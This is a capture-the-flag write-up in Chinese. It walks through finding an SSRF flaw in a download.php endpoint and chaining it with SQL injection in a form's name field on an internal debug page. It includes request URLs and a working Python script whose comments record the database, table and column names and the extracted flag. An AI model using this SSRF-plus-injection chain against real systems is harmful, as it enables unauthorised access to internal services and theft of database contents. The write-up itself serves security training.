进入环境
扫后台目录
发现/secret和一个index.php
访问index.php
点击paper之后下载文档
这个文档双击打不开
shell命令:xxd命令
用xxd打开 xxd download.php
但是在终端直接显示的话太多了,翻不到上面的
所以我就把他重定向到txt文件里面查看
第一行里面就说了这是一个pdf
打开之后这个文档说的是SSRF,猜测这个题目可能用到SSRF
回头看了一眼
paper的url是/download.php?dl=ssrf
接着再去访问secret
一个个访问一下
secret_debug.php
提示我的ip不可以访问这个页面
联想到了之前的SSRF
通过download.php用ssrf对secret_debug.php发起请求
http://220.249.52.133:46366/download.php?dl=127.0.0.1/secret/secret_debug.php
啊这…
看其他人的说是后面要通过这个SQL注入
再继续去访问其他页面吧
secret.php
全选第一个
此时的URL
http://220.249.52.133:46366/secret/secret.php?s=2&rbCitizen=Y&rbAge=Y&rbResident=Y&rbFelony=rbFelony1&btnContinue=Continue
到下一个页面填写
http://220.249.52.133:54086/secret/secret.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtLast_name=v&txtname_suffix=d&txtdob=11%2F11%2F1991&txtdl_nmbr=123456789&txtRetypeDL=987654321&btnContinue2=Continue
发现name这里可以进行sql注入
那思路就是通过download.php用ssrf对secret_debug.php发起请求进行sql注入
脚本
import requests
import random
import urllib
url = 'http://220.249.52.133:54086/download.php'
# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"
id = random.randint(1, 10000000)
d = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id,
"btnContinue2":"Continue"
})
)
r = requests.get(url, params={"dl": d})
print(r.text)